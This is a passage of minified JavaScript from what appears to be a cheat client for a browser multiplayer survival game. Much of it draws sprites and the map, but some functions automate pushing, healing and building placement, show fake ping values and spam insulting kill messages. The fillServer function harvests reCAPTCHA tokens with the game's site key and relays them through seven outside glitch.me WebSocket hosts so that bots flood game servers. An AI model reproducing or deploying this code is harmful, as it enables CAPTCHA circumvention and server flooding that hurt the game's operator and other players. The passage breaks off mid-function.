Zn(t.scale, 0, R.projectiles[R.weapons[t.weaponIndex].projectile], M)),
t.buildIndex >= 0)
) {
let r = Ss(R.list[t.buildIndex]);
n.drawImage(r, t.scale - R.list[t.buildIndex].holdOffset, -r.width / 2);
}
Q(0, 0, t.scale, n),
t.skinIndex > 0 && (n.rotate(Math.PI / 2), _o(t.skinIndex, n, null, t));
}
const Mr = {},
Er = {};
let De;
function _o(t, n, i, o) {
if (!(De = Mr[t])) {
let a = new Image();
(a.onload = function () {
(this.isLoaded = !0), (this.onload = null);
}),
(a.src = "./img/hats/hat_" + t + ".png"),
(Mr[t] = a),
(De = a);
}
let r = i || Er[t];
if (!r) {
for (let s = 0; s < Xt.length; ++s)
if (Xt[s].id == t) {
r = Xt[s];
break;
}
Er[t] = r;
}
(M.globalAlpha = 1),
De.isLoaded &&
n.drawImage(De, -r.scale / 2, -r.scale / 2, r.scale, r.scale),
!i &&
r.topSprite &&
(n.save(), n.rotate(o.skinRot), _o(t + "_top", n, r, o), n.restore());
}
function lovedune2024(t, n, i, o, a, r) {
if (!(De = Mr[t])) {
let s = new Image();
(s.onload = function () {
(this.isLoaded = !0), (this.onload = null);
}),
(s.src = "./img/hats/hat_" + t + ".png"),
(Mr[t] = s),
(De = s);
}
let l = i || Er[t];
if (!l) {
for (let c = 0; c < Xt.length; ++c)
if (Xt[c].id == t) {
l = Xt[c];
break;
}
Er[t] = l;
}
(M.globalAlpha = a),
De.isLoaded &&
n.drawImage(De, -l.scale / 2, -l.scale / 2, l.scale, l.scale),
!i &&
l.topSprite &&
(n.save(), n.rotate(r), lovedune2024(t + "_top", n, l, o), n.restore());
}
const Pr = {},
Cr = {};
function zf(t, n, i) {
if (!(De = Pr[t])) {
let o = new Image();
(o.onload = function () {
(this.isLoaded = !0), (this.onload = null);
}),
(o.src = "./img/accessories/access_" + t + ".png"),
(Pr[t] = o),
(De = o);
}
let a = Cr[t];
if (!a) {
for (let r = 0; r < Gt.length; ++r)
if (Gt[r].id == t) {
a = Gt[r];
break;
}
Cr[t] = a;
}
De.isLoaded &&
(n.save(),
n.translate(-20 - (a.xOff || 0), 0),
a.spin && n.rotate(i.skinRot),
n.drawImage(De, -(a.scale / 2), -(a.scale / 2), a.scale, a.scale),
n.restore());
}
var jn = {};
function Ar(t, n, i, o, a) {
let r = t.src + (n || ""),
s = jn[r];
s ||
(((s = new Image()).onload = function () {
this.isLoaded = !0;
}),
(s.src = "./img/weapons/" + r + ".png"),
(jn[r] = s)),
s.isLoaded &&
a.drawImage(
s,
i + t.xOff - t.length / 2,
o + t.yOff - t.width / 2,
t.length,
t.width
);
}
const Dr = {};
function Hf(t) {
let n =
t.y >= T.mapScale - T.snowBiomeTop ? 2 : t.y <= T.snowBiomeTop ? 1 : 0,
i = t.type + "_" + t.scale + "_" + n,
o = Dr[i];
if (!o) {
let a = document.createElement("canvas");
a.width = a.height = 2.1 * t.scale + 5.5;
let r = a.getContext("2d");
if (
(r.translate(a.width / 2, a.height / 2),
r.rotate(C.randFloat(0, Math.PI)),
(r.strokeStyle = ei),
(r.lineWidth = 5.5),
0 == t.type)
) {
(r.shadowBlur = 10), (r.shadowColor = "rgba(0, 0, 0, 0.75)");
let s;
for (var l = 0; l < 2; ++l)
Ie(r, 7, (s = y.scale * (l ? 0.5 : 1)), 0.7 * s),
(r.fillStyle = n
? l
? "#fff"
: "#e3f1f4"
: l
? "#b4db62"
: "#9ebf57"),
r.fill(),
l || r.stroke();
} else if (1 == t.type) {
if (2 == n)
(r.shadowBlur = 10),
(r.shadowColor = "rgba(0, 0, 0, 0.75)"),
(r.fillStyle = "#606060"),
Ie(r, 6, 0.3 * t.scale, 0.71 * t.scale),
r.fill(),
r.stroke(),
(r.fillStyle = "#89a54c"),
Q(0, 0, 0.55 * t.scale, r),
(r.fillStyle = "#a5c65b"),
Q(0, 0, 0.3 * t.scale, r, !0);
else {
(r.shadowBlur = 10),
(r.shadowColor = "rgba(0, 0, 0, 0.75)"),
Uf(r, 6, y.scale, 0.7 * y.scale),
(r.fillStyle = n ? "#e3f1f4" : "#89a54c"),
r.fill(),
r.stroke(),
(r.fillStyle = n ? "#6a64af" : "#c15555");
let c,
d = Ze / 4;
(r.shadowBlur = 0), (r.shadowColor = "rgba(0, 0, 0, 0)");
for (var l = 0; l < 4; ++l)
Q(
(c = C.randInt(y.scale / 3.5, y.scale / 2.3)) * Math.cos(d * l),
c * Math.sin(d * l),
C.randInt(10, 12),
r
);
}
} else
(r.shadowBlur = 10),
(r.shadowColor = "rgba(0, 0, 0, 0.75)"),
(2 == t.type || 3 == t.type) &&
((r.fillStyle =
2 == t.type ? (2 == n ? "#938d77" : "#939393") : "#e0c655"),
Ie(r, 3, t.scale, t.scale),
r.fill(),
r.stroke(),
(r.fillStyle =
2 == t.type ? (2 == n ? "#b2ab90" : "#bcbcbc") : "#ebdca3"),
Ie(r, 3, 0.55 * t.scale, 0.65 * t.scale),
r.fill());
(o = a), (Dr[i] = o);
}
return o;
}
function Or(t, n, i) {
let o = t.lineWidth || 0;
(i /= 2), t.beginPath();
let a = (2 * Math.PI) / n;
for (let r = 0; r < n; r++)
t.lineTo(
i + (i - o / 2) * Math.cos(a * r),
i + (i - o / 2) * Math.sin(a * r)
);
t.closePath();
}
function Ff() {
let t = 2 * T.volcanoScale,
n = document.createElement("canvas");
(n.width = t), (n.height = t);
let i = n.getContext("2d");
(i.strokeStyle = "#3e3e3e"),
(i.lineWidth = 11),
(i.fillStyle = "#7f7f7f"),
Or(i, 10, t),
i.fill(),
i.stroke(),
(Me.land = n);
let o = document.createElement("canvas"),
a = 2 * T.innerVolcanoScale;
(o.width = a), (o.height = a);
let r = o.getContext("2d");
(r.strokeStyle = ei),
(r.lineWidth = 8.8),
(r.fillStyle = "#f54e16"),
(r.strokeStyle = "#f56f16"),
Or(r, 10, a),
r.fill(),
r.stroke(),
(Me.lava = o);
}
Ff();
const Rr = [];
function Ss(t, n) {
let i = Rr[t.id];
if (!i || n) {
let o = document.createElement("canvas");
o.width = o.height =
2.5 * t.scale + 5.5 + (R.list[t.id].spritePadding || 0);
let a = o.getContext("2d");
if (
(a.translate(o.width / 2, o.height / 2),
a.rotate(n ? 0 : Math.PI / 2),
(a.strokeStyle = ei),
(a.lineWidth = 5.5 * (n ? o.width / 81 : 1)),
"apple" == t.name)
) {
(a.fillStyle = "#c15555"), Q(0, 0, t.scale, a), (a.fillStyle = "#89a54c");
let r = -(Math.PI / 2);
Vf(t.scale * Math.cos(r), t.scale * Math.sin(r), 25, r + Math.PI / 2, a);
} else if ("cookie" == t.name) {
(a.fillStyle = "#cca861"), Q(0, 0, t.scale, a), (a.fillStyle = "#937c4b");
for (var s, l = 4, c = Ze / l, d = 0; d < l; ++d)
Q(
(s = C.randInt(t.scale / 2.5, t.scale / 1.7)) * Math.cos(c * d),
s * Math.sin(c * d),
C.randInt(4, 5),
a,
!0
);
} else if ("cheese" == t.name) {
(a.fillStyle = "#f4f3ac"), Q(0, 0, t.scale, a), (a.fillStyle = "#c3c28b");
for (var s, l = 4, c = Ze / l, d = 0; d < l; ++d)
Q(
(s = C.randInt(t.scale / 2.5, t.scale / 1.7)) * Math.cos(c * d),
s * Math.sin(c * d),
C.randInt(4, 5),
a,
!0
);
} else if (
"wood wall" == t.name ||
"stone wall" == t.name ||
"castle wall" == t.name
) {
a.fillStyle =
"castle wall" == t.name
? "#83898e"
: "wood wall" == t.name
? "#a5974c"
: "#939393";
let h = "castle wall" == t.name ? 4 : 3;
Ie(a, h, 1.1 * t.scale, 1.1 * t.scale),
a.fill(),
a.stroke(),
(a.fillStyle =
"castle wall" == t.name
? "#9da4aa"
: "wood wall" == t.name
? "#c9b758"
: "#bcbcbc"),
Ie(a, h, 0.65 * t.scale, 0.65 * t.scale),
a.fill();
} else if (
"spikes" == t.name ||
"greater spikes" == t.name ||
"poison spikes" == t.name ||
"spinning spikes" == t.name
) {
var u = 0.6 * t.scale;
let p = M.createRadialGradient(0, 0, t.scale, 0, 0, u);
p.addColorStop(0.6, "#9c91e5"),
p.addColorStop(0.9, "#9c91e5"),
(a.fillStyle = p),
(a.shadowColor = "rgba(0, 0, 0, 0.5)"),
(a.shadowBlur = 10),
Ie(a, "spikes" == t.name ? 5 : 6, t.scale, u),
a.fill(),
a.stroke(),
(a.fillStyle = "#a5974c"),
Q(0, 0, u, a),
(a.fillStyle = "#c9b758"),
Q(0, 0, u / 2, a, !0);
} else if (
"windmill" == t.name ||
"faster windmill" == t.name ||
"power mill" == t.name
)
(a.shadowColor = "rgba(0, 0, 0, 0.2)"),
(a.shadowBlur = 10),
(a.fillStyle = "#a5974c"),
Q(0, 0, t.scale, a),
(a.fillStyle = "#c9b758"),
En(0, 0, 1.5 * t.scale, 29, 4, a),
(a.fillStyle = "#a5974c"),
Q(0, 0, 0.5 * t.scale, a);
else if ("mine" == t.name)
(a.fillStyle = "#939393"),
Ie(a, 3, t.scale, t.scale),
a.fill(),
a.stroke(),
(a.fillStyle = "#bcbcbc"),
Ie(a, 3, 0.55 * t.scale, 0.65 * t.scale),
a.fill();
else if ("sapling" == t.name)
for (var d = 0; d < 2; ++d) {
var u = t.scale * (d ? 0.5 : 1);
Ie(a, 7, u, 0.7 * u),
(a.fillStyle = d ? "#b4db62" : "#9ebf57"),
a.fill(),
d || a.stroke();
}
else if ("pit trap" == t.name)
(a.fillStyle = "#a5974c"),
Ie(a, 3, 1.1 * t.scale, 1.1 * t.scale),
a.fill(),
a.stroke(),
(a.fillStyle = ei),
Ie(a, 3, 0.65 * t.scale, 0.65 * t.scale),
a.fill();
else if ("boost pad" == t.name)
(a.fillStyle = "#7e7f82"),
kt(0, 0, 2 * t.scale, 2 * t.scale, a),
a.fill(),
a.stroke(),
(a.fillStyle = "#dbd97d"),
Lf(1 * t.scale, a);
else if ("turret" == t.name)
(a.fillStyle = "#a5974c"),
Q(0, 0, t.scale, a),
a.fill(),
a.stroke(),
(a.fillStyle = "#939393"),
kt(0, -25, 0.9 * t.scale, 50, a),
Q(0, 0, 0.6 * t.scale, a),
a.fill(),
a.stroke();
else if ("platform" == t.name) {
a.fillStyle = "#cebd5f";
let f = 2 * t.scale,
$ = f / 4,
g = -(t.scale / 2);
for (var d = 0; d < 4; ++d)
kt(g - $ / 2, 0, $, 2 * t.scale, a), a.fill(), a.stroke(), (g += f / 4);
} else
"healing pad" == t.name
? ((a.fillStyle = "#7e7f82"),
kt(0, 0, 2 * t.scale, 2 * t.scale, a),
a.fill(),
a.stroke(),
(a.fillStyle = "#db6e6e"),
En(0, 0, 0.65 * t.scale, 20, 4, a, !0))
: "spawn pad" == t.name
? ((a.fillStyle = "#7e7f82"),
kt(0, 0, 2 * t.scale, 2 * t.scale, a),
a.fill(),
a.stroke(),
(a.fillStyle = "#71aad6"),
Q(0, 0, 0.6 * t.scale, a))
: "blocker" == t.name
? ((a.fillStyle = "#7e7f82"),
Q(0, 0, t.scale, a),
a.fill(),
a.stroke(),
a.rotate(Math.PI / 4),
(a.fillStyle = "#db6e6e"),
En(0, 0, 0.65 * t.scale, 20, 4, a, !0))
: "teleporter" == t.name &&
((a.fillStyle = "#7e7f82"),
Q(0, 0, t.scale, a),
a.fill(),
a.stroke(),
a.rotate(Math.PI / 4),
(a.fillStyle = "#d76edb"),
Q(0, 0, 0.5 * t.scale, a, !0));
(i = o), n || (Rr[t.id] = i);
}
return i;
}
function Vf(t, n, i, o, a) {
let r = t + i * Math.cos(o),
s = n + i * Math.sin(o),
l = 0.4 * i;
a.moveTo(t, n),
a.beginPath(),
a.quadraticCurveTo(
(t + r) / 2 + l * Math.cos(o + Math.PI / 2),
(n + s) / 2 + l * Math.sin(o + Math.PI / 2),
r,
s
),
a.quadraticCurveTo(
(t + r) / 2 - l * Math.cos(o + Math.PI / 2),
(n + s) / 2 - l * Math.sin(o + Math.PI / 2),
t,
n
),
a.closePath(),
a.fill(),
a.stroke();
}
function Q(t, n, i, o, a, r) {
(o = o || M).beginPath(),
o.arc(t, n, i, 0, 2 * Math.PI),
r || o.fill(),
a || o.stroke();
}
function Ie(t, n, i, o) {
let a = (Math.PI / 2) * 3,
r,
s,
l = Math.PI / n;
t.beginPath(), t.moveTo(0, -i);
for (let c = 0; c < n; c++)
(r = Math.cos(a) * i),
(s = Math.sin(a) * i),
t.lineTo(r, s),
(a += l),
(r = Math.cos(a) * o),
(s = Math.sin(a) * o),
t.lineTo(r, s),
(a += l);
t.lineTo(0, -i), t.closePath();
}
function kt(t, n, i, o, a, r) {
a.fillRect(t - i / 2, n - o / 2, i, o),
r || a.strokeRect(t - i / 2, n - o / 2, i, o);
}
function En(t, n, i, o, a, r, s) {
r.save(), r.translate(t, n), (a = Math.ceil(a / 2));
for (let l = 0; l < a; l++) kt(0, 0, 2 * i, o, r, s), r.rotate(Math.PI / a);
r.restore();
}
function Uf(t, n, i, o) {
let a = (Math.PI / 2) * 3,
r = Math.PI / n,
s;
t.beginPath(), t.moveTo(0, -o);
for (let l = 0; l < n; l++)
(s = C.randInt(i + 0.9, 1.2 * i)),
t.quadraticCurveTo(
Math.cos(a + r) * s,
Math.sin(a + r) * s,
Math.cos(a + 2 * r) * o,
Math.sin(a + 2 * r) * o
),
(a += 2 * r);
t.lineTo(0, -o), t.closePath();
}
function Lf(t, n) {
n = n || M;
let i = t * (Math.sqrt(3) / 2);
n.beginPath(),
n.moveTo(0, -i / 2),
n.lineTo(-t / 2, i / 2),
n.lineTo(t / 2, i / 2),
n.lineTo(0, -i / 2),
n.fill(),
n.closePath();
}
function Nf() {
let t = T.mapScale / 2;
ue.add(
0,
t,
t + 200,
caf(
{
x: t,
y: t,
},
{
x: t,
y: t + 200,
}
),
T.treeScales[3],
0
),
ue.add(
1,
t,
t - 480,
caf(
{
x: t,
y: t,
},
{
x: t,
y: t - 480,
}
),
T.treeScales[3],
0
),
ue.add(
2,
t + 300,
t + 450,
caf(
{
x: t,
y: t,
},
{
x: t + 300,
y: t + 450,
}
),
T.treeScales[3],
0
),
ue.add(
3,
t - 950,
t - 130,
caf(
{
x: t,
y: t,
},
{
x: t - 950,
y: t + -130,
}
),
T.treeScales[2],
0
),
ue.add(
4,
t - 750,
t - 400,
caf(
{
x: t,
y: t,
},
{
x: t - 750,
y: t - 400,
}
),
T.treeScales[3],
0
),
ue.add(
5,
t - 700,
t + 400,
caf(
{
x: t,
y: t,
},
{
x: t - 700,
y: t + 400,
}
),
T.treeScales[2],
0
),
ue.add(
6,
t + 800,
t - 200,
caf(
{
x: t,
y: t,
},
{
x: t + 800,
y: t - 200,
}
),
T.treeScales[3],
0
),
ue.add(
7,
t - 260,
t + 340,
caf(
{
x: t,
y: t,
},
{
x: t - 200,
y: t + 340,
}
),
T.bushScales[3],
1
),
ue.add(
8,
t + 760,
t + 310,
caf(
{
x: t,
y: t,
},
{
x: t + 760,
y: t + 310,
}
),
T.bushScales[3],
1
),
ue.add(
9,
t - 800,
t + 100,
caf(
{
x: t,
y: t,
},
{
x: t - 800,
y: t + 100,
}
),
T.bushScales[3],
1
),
ue.add(
10,
t - 800,
t + 300,
caf(
{
x: t,
y: t,
},
{
x: t - 800,
y: t + 300,
}
),
R.list[4].scale,
R.list[4].id,
R.list[10]
),
ue.add(
11,
t + 650,
t - 390,
caf(
{
x: t,
y: t,
},
{
x: t + 650,
y: t - 390,
}
),
R.list[4].scale,
R.list[4].id,
R.list[10]
),
ue.add(
12,
t - 400,
t - 450,
caf(
{
x: t,
y: t,
},
{
x: t - 400,
y: t - 450,
}
),
T.rockScales[2],
2
);
}
function qf(t) {
for (let n = 0; n < t.length; )
ue.add(
t[n],
t[n + 1],
t[n + 2],
t[n + 3],
t[n + 4],
t[n + 5],
R.list[t[n + 6]],
!0,
t[n + 7] >= 0
? {
sid: t[n + 7],
}
: null
),
(n += 8);
}
function Xf(t, n) {
(y = Ho(t)) &&
((y.dir = n),
(y.xWiggle += T.gatherWiggle * Math.cos(n + Math.PI)),
(y.yWiggle += T.gatherWiggle * Math.sin(n + Math.PI)));
}
function Yf(t, n) {
for (let i = 0; i < Mt.length; ++i) Mt[i].sid == t && (Mt[i].range = n);
}
function $f(t) {
(y = zo(t)) && y.startAnim();
}
function Kf(t) {
for (var n = 0; n < ye.length; ++n)
(ye[n].forcePos = !ye[n].visible), (ye[n].visible = !1);
if (t) {
let i = Date.now();
for (var n = 0; n < t.length; )
(y = zo(t[n]))
? ((y.index = t[n + 1]),
(y.t1 = void 0 === y.t2 ? i : y.t2),
(y.t2 = i),
(y.x1 = y.x),
(y.y1 = y.y),
(y.x2 = t[n + 2]),
(y.y2 = t[n + 3]),
(y.d1 = void 0 === y.d2 ? t[n + 4] : y.d2),
(y.d2 = t[n + 4]),
(y.lastHealth = y.health),
(y.health = t[n + 5]),
(y.dt = 0),
(y.visible = !0))
: (((y = ar.spawn(t[n + 2], t[n + 3], t[n + 4], t[n + 1])).x2 = y.x),
(y.y2 = y.y),
(y.d2 = y.dir),
(y.health = t[n + 5]),
ar.aiTypes[t[n + 1]].name || (y.name = T.cowNames[t[n + 6]]),
(y.forcePos = !0),
(y.sid = t[n]),
(y.visible = !0)),
(n += 7);
y.lastHealth != y.health &&
y.visible &&
Hn.showText(
y.x,
y.y,
40,
0.18,
900,
Math.round(Math.abs(y.lastHealth - y.health)),
"#fff"
);
}
}
const _r = {};
function Jf(t, n) {
let i = t.index,
o = _r[i];
if (!o) {
let a = new Image();
(a.onload = function () {
(this.isLoaded = !0), (this.onload = null);
}),
(a.src = "./img/animals/" + t.src + ".png"),
(o = a),
(_r[i] = o);
}
if (o.isLoaded) {
let r = 1.2 * t.scale * (t.spriteMlt || 1);
n.drawImage(o, -r, -r, 2 * r, 2 * r);
}
}
function Bo(t, n, i) {
return t + i >= 0 && t - i <= se && n + i >= 0 && n - i <= re;
}
function Qf(t, n) {
let i = nu(t[0]);
i ||
((i = KTA.addPlayer(n, t[0], t[1], T, C, po, ue, J, ye, R, Xt, Gt)),
J.push(i)),
i.spawn(n ? xi : null),
(i.visible = !1),
(i.x2 = void 0),
(i.y2 = void 0),
(i.x3 = void 0),
(i.y3 = void 0),
i.setData(t),
n &&
((Re = (E = i).x),
(_e = E.y),
To(),
Do(),
Ro(),
Oo(0),
(us.style.display = "block")),
n ||
addMenuChText(
"Encountered " + t[2] + "[" + t[1] + "]",
"#00eeba",
"",
"#00eeba"
);
}
function Zf(t) {}
function jf(t, n) {
E && (E.itemCounts[t] = n);
}
function eu(t, n, i) {
E && ((E[t] = n), i && Do()),
"kills" == t &&
document.getElementById("killchat").checked &&
("Chicken V3" == document.getElementById("killChatType").value
? (ee.send("6", "Dumbasses down: " + n),
setTimeout(() => {
ee.send("6", "I'm Super Pro");
}, 600))
: "Chat Total Kills" == document.getElementById("killChatType").value
? ee.send("6", n + "")
: "Sam Mod Kill Chat" == document.getElementById("killChatType").value
? ee.send("6", "~=SamMOD~discord=sam#7707")
: "RV2" == document.getElementById("killChatType").value &&
ee.send("6", "gg - autoGG Master Race"));
}
function nu(t) {
for (let n = 0; n < J.length; ++n) if (J[n].id == t) return J[n];
return null;
}
function _i(t) {
for (let n = 0; n < J.length; ++n) if (J[n].sid == t) return J[n];
return null;
}
function zo(t) {
for (let n = 0; n < ye.length; ++n) if (ye[n].sid == t) return ye[n];
return null;
}
function Ho(t) {
for (let n = 0; n < et.length; ++n) if (et[n].sid == t) return et[n];
return null;
}
let Fo = -1;
function getRandomArbitrary(t, n) {
return Math.random() * (n - t) + t;
}
function su() {
let t = Date.now() - Fo;
(window.pingTime = t),
(Qt.innerText =
"Ping: " +
(document.getElementById("fakeping").checked
? Math.floor(getRandomArbitrary(180, 220))
: Date.now() - Fo) +
" ms");
}
let Pn;
function Vo() {
Pn && clearTimeout(Pn),
cs() && ((Fo = Date.now()), ee.send("0")),
(Pn = setTimeout(Vo, 250));
}
function ru(t) {
if (t < 0) return;
let n = Math.floor(t / 60),
i = t % 60;
(i = ("0" + i).slice(-2)),
(dr.innerText = "Server restarting in " + n + ":" + i),
(dr.hidden = !1);
}
function Uo() {
(be = (It = Date.now()) - or), (or = It), Of(), requestAnimFrame(Uo);
}
function checkPlace(t, n) {
try {
let i = R.list[E.items[t]],
o = E.scale + i.scale + (i.placeOffset || 0),
a = E.x + o * Math.cos(n),
r = E.y + o * Math.sin(n);
ue.checkItemLocation(a, r, 0.6, i.id, i.scale) && place(t, n);
} catch (s) {}
}
function place(t, n, i) {
let o = E.weaponIndex;
if (
((t = E.items[t]),
!i &&
t &&
(Yt(t),
ee.send("d", 1, n, 1),
Yt(o, 1),
document.getElementById("placevizual").checked &&
"Building" == document.getElementById("placevizualType").value))
) {
let a = R.list[t],
r = E.scale + a.scale + (a.placeOffset || 0),
s = E.x2 + r * Math.cos(n),
l = E.y2 + r * Math.sin(n);
itemPlacer.push({
x: s,
y: l,
name: a.name,
scale: a.scale,
dir: n,
}),
setTickout(() => {
itemPlacer.shift();
}, 1);
}
i && (Yt(t), ee.send("d", 1, n, 1), Yt(o, 1));
}
function heal(t = E.health) {
for (let n = Math.ceil((100 - t) / R.list[E.items[0]].healing); n--; )
place(0, vs(), !0);
}
(window.requestAnimFrame =
window.requestAnimationFrame ||
window.webkitRequestAnimationFrame ||
window.mozRequestAnimationFrame ||
function (t) {}),
Nf(),
Uo();
let millData = {
x: 0,
y: 0,
toggle: !0,
},
inztakillData = {
toggle: !1,
aim: !1,
inInzta: !1,
};
function calculateAnglesAroundObject(t, n, i, o, a) {
let r = t - o,
s = n - a,
l = Math.sqrt(r * r + s * s);
return [
Math.atan2(s, r) + Math.asin(i / l),
Math.atan2(s, r) - Math.asin(i / l),
];
}
function calculateAngularSize(t, n, i) {
return (
2 *
Math.atan(
i / 2 / Math.sqrt(Math.pow(n.x - t.x, 2) + Math.pow(n.y - t.y, 2))
) *
(180 / Math.PI) *
(Math.PI / 180)
);
}
function adjustOverlappingObjects(t) {
t.sort((t, n) => t.dir - n.dir);
let n = [];
for (let i = 0; i < t.length; i++) {
let o = R.list[t[i].type],
a = E.scale + o.scale + (o.placeOffset || 0),
r = E.x + a * Math.cos(t[i].dir),
s = E.y + a * Math.sin(t[i].dir),
l = calculateAngularSize(
E,
{
tmpX: r,
tmpY: s,
},
o.scale
),
c = t[i],
d = t[(i + 1) % t.length],
h = d.dir - c.dir;
h < 0 && (h += 360);
h >= 2 * l
? n.push(c)
: c.urgency > d.urgency
? n.push(c)
: c.urgency < d.urgency || n.push(c);
}
return n;
}
let gameHitobjectz = [],
tick = 0,
placeableAnglez = [],
placeArr = [],
izHitting = !1,
emptAnti = !1;
function getSkinData(t) {
return $r.hats.find((n) => n.id === t.skinIndex) || {};
}
function getAccData(t) {
return $r.accessories.find((n) => n.id === t.tailIndex) || {};
}
function collisionDetection(t, n, i) {
return sqrt((t.x - n.x) ** 2 + (t.y - n.y) ** 2) < i;
}
let placer = {
toggle: !1,
itemIndex: 0,
};
function calculateAngle(t, n, i, o) {
let [a, r] = t,
[s, l] = i,
{ width: c, height: d } = n,
{ width: h, height: u } = o,
p = s - a,
f = l - r,
$ = Math.sqrt((c + h) ** 2 + (d + u) ** 2) / 2;
if (Math.abs(p) < $ && Math.abs(f) < $) {
let g = Math.atan2(f, p),
m = $ - Math.sqrt(p ** 2 + f ** 2),
_ = m * Math.cos(g),
k = m * Math.sin(g);
(i[0] += _), (i[1] += k);
}
let v = i[0] - a,
b = i[1] - r,
w = Math.atan2(b, v);
return w;
}
let replaceArr = [],
autopuzhing = !1,
puzhData = [];
function avgDir(t, n) {
let i = Math.cos(t),
o = Math.sin(t),
a = Math.cos(n),
r = Math.sin(n),
s = (i + a) / 2,
l = (o + r) / 2,
c = Math.atan2(l, s);
return c < 0 && (c += 2 * Math.PI), c;
}
function autoPush(t) {
let n = et
.filter(
(n) =>
n.trap &&
n.active &&
n.teamObj(E) &&
cdf(n, t) <= t.scale + n.getScale() + 15
)
.sort(function (n, i) {
return cdf(n, t) - cdf(i, t);
})[0];
if (n) {
let i = et
.filter(
(i) =>
i.dmg &&
i.active &&
i.teamObj(E) &&
cdf(i, n) <= t.scale + n.scale + i.scale + 5
)
.sort(function (n, i) {
return cdf(n, t) - cdf(i, t);
})[0];
if (i) {
let o = {
x:
i.x +
(E.scale + i.scale + E.scale + E.scale) *
Math.cos(caf(t, i) - Math.PI),
y:
i.y +
(E.scale + i.scale + E.scale + E.scale) *
Math.sin(caf(t, i) - Math.PI),
x2: i.x + (cdf(t, i) + E.scale) * Math.cos(caf(t, i) - Math.PI),
y2: i.y + (cdf(t, i) + E.scale) * Math.sin(caf(t, i) - Math.PI),
};
if (
et
.filter((t) => t.active)
.find((t) => {
let n = t.getScale();
if (
!t.ignoreCollision &&
C.lineInRect(
t.x - n,
t.y - n,
t.x + n,
t.y + n,
E.x2,
E.y2,
o.x2,
o.y2
)
)
return !0;
})
)
autopuzhing && ((autopuzhing = !1), ee.send("a", Tn || void 0, 1));
else {
(autopuzhing = !0),
(puzhData = {
x: i.x,
y: i.y,
x2: o.x2,
y2: o.y2,
});
let a = E.scale / 10;
C.lineInRect(
E.x2 - a,
E.y2 - a,
E.x2 + a,
E.y2 + a,
t.x2,
t.y2,
o.x,
o.y
) && cdf(E, t) > 87
? (ee.send("a", avgDir(caf(E, t) - Math.PI, caf(E, i) - Math.PI), 1), pushTragectory = avgDir(caf(E, t) - Math.PI, caf(E, i) - Math.PI))
: ee.send("a", caf(o, E) - Math.PI, 1);
}
} else autopuzhing && ((autopuzhing = !1), ee.send("a", Tn || void 0, 1));
} else autopuzhing && ((autopuzhing = !1), ee.send("a", Tn || void 0, 1));
}
function cdf(t, n) {
try {
return Math.hypot(
(n.y2 || n.y) - (t.y2 || t.y),
(n.x2 || n.x) - (t.x2 || t.x)
);
} catch (i) {
return 1 / 0;
}
}
function caf(t, n) {
try {
return Math.atan2(
(n.y2 || n.y) - (t.y2 || t.y),
(n.x2 || n.x) - (t.x2 || t.x)
);
} catch (i) {
return 0;
}
}
function fillServer(t, n, i, o, a, r) {
for (let s in ((t = []).push(
new WebSocket("wss://dog-beaded-baseball.glitch.me/")
),
t.push(new WebSocket("wss://balanced-plant-actress.glitch.me/")),
t.push(new WebSocket("wss://rigorous-observant-meal.glitch.me/")),
t.push(new WebSocket("wss://ruby-gusty-trumpet.glitch.me/")),
t.push(new WebSocket("wss://magical-gamy-almandine.glitch.me/")),
t.push(new WebSocket("wss://odd-half-femur.glitch.me/")),
t.push(new WebSocket("wss://ritzy-glaze-kumquat.glitch.me/")),
(o = async function () {
return await new Promise((t) => {
window.grecaptcha
.execute("6LfahtgjAAAAAF8SkpjyeYMcxMdxIaQeh-VoPATP", {
action: "homepage",
})
.then(function (n) {
t(encodeURIComponent(n));
});
});
}),
t))
(t[s].onmessage = (n) => {
"dc" == n && setTimeout(t[s].close(), 1e4);
}),
(t[s].onopen = (n) => {
t[s].int = setInterval(() => {
if (!t[s].sent && WZinfo) {
async function n() {
(r = await o()),
(a = "wss://" + WZinfo + "?token=re:" + o),
t[s].send(a);
}
t[s].sent = !0;
for (let i = 0; i < 4; i++) n();
}
});
});
}
function Lo(t) {
window.open(t, "_blank");
}
function placeArry(t, n, i, o, a) {
let r = R.list[E.items[t]],
s = E.scale + r.scale + (r.placeOffset || 0),
l = [];
et.forEach((t) => {
l.push({
x: t.x,
y: t.y,
active: t.active,
blocker: t.blocker,
scale: t.scale,
isItem: t.isItem,
type: t.type,
colDiv: t.colDiv,
getScale: function (t, n) {
return (
(t = t || 1),
this.scale *
(this.isItem || 2 == this.type || 3 == this.type || 4 == this.type
? 1
: 0.6 * t) *
(n ? 1 : this.colDiv)
);
},
});
});
for (let c = n; c < i; c += o) {
let d = E.x2 + s * Math.cos(c),
h = E.y2 + s * Math.sin(c);
!l.find(
(t) =>
t.active &&
C.getDistance(d, h, t.x, t.y) <
r.scale + (t.blocker ? t.blocker : t.getScale(0.6, t.isItem))
) &&
((18 != r.id &&
h >= T.mapScale / 2 - T.riverWidth / 2 &&
h <= T.mapScale / 2 + T.riverWidth / 2) ||
(place(t, c),
l.push({
x: d,
y: h,
active: !0,
blocker: r.blocker,
scale: r.scale,
isItem: !0,
type: null,
colDiv: r.colDiv,
getScale: function () {
return this.scale;
},
})));
}
}
function spikeKnockbackArray(t, n) {
let i = n.scale + t.scale,
o = [];
for (let a = 0; a <= i; a++) {
let r;
(r =
a <= n.scale + t.scale ? t.knock + n.scale + t.scale - a : t.knock + 0),
o.push(r);
}
return o;
}
function getKBDirection(t, n) {
let i = n.x - t.x,
o = Math.atan2(n.y - t.y, i) * (180 / Math.PI);
return o < 0 ? o + 360 : o;
}
function kbEndPosition(t, n, i) {
let o = i.reduce((t, n) => t + n, 0),
a = n.x + o * Math.cos(getKBDirection(t, n) * (Math.PI / 180)),
r = n.y + o * Math.sin(getKBDirection(t, n) * (Math.PI / 180));
return {
x: a,
y: r,
};
}
let newPos;
function fgdo(t, n, i) {
return t == E
? Math.sqrt(Math.pow(n.y - t.y2, 2) + Math.pow(n.x - t.x2, 2))
: n == E
? Math.sqrt(Math.pow(n.y2 - t.y, 2) + Math.pow(n.x2 - t.x, 2))
: i
? Math.sqrt(Math.pow(n.y3 - t.y, 2) + Math.pow(n.x3 - t.x, 2))
: Math.sqrt(Math.pow(n.y - t.y, 2) + Math.pow(n.x - t.x, 2));
}
let obj,
autohitting = !1,
tickLow = [];
function setTickout(t, n) {
"object" == typeof tickLow[tick + n]
? tickLow[tick + n].push(t)
: (tickLow[tick + n] = [t]);
}
function animate(t, n) {
let i = "",
o;
(o = t ? "i am super pro" : "lmfao"),
t && (o = (o = o.padStart((30 - o.length) / 2 + o.length)).padEnd(30));
let a = 0;
for (let r = 0; r < o.length; r++)
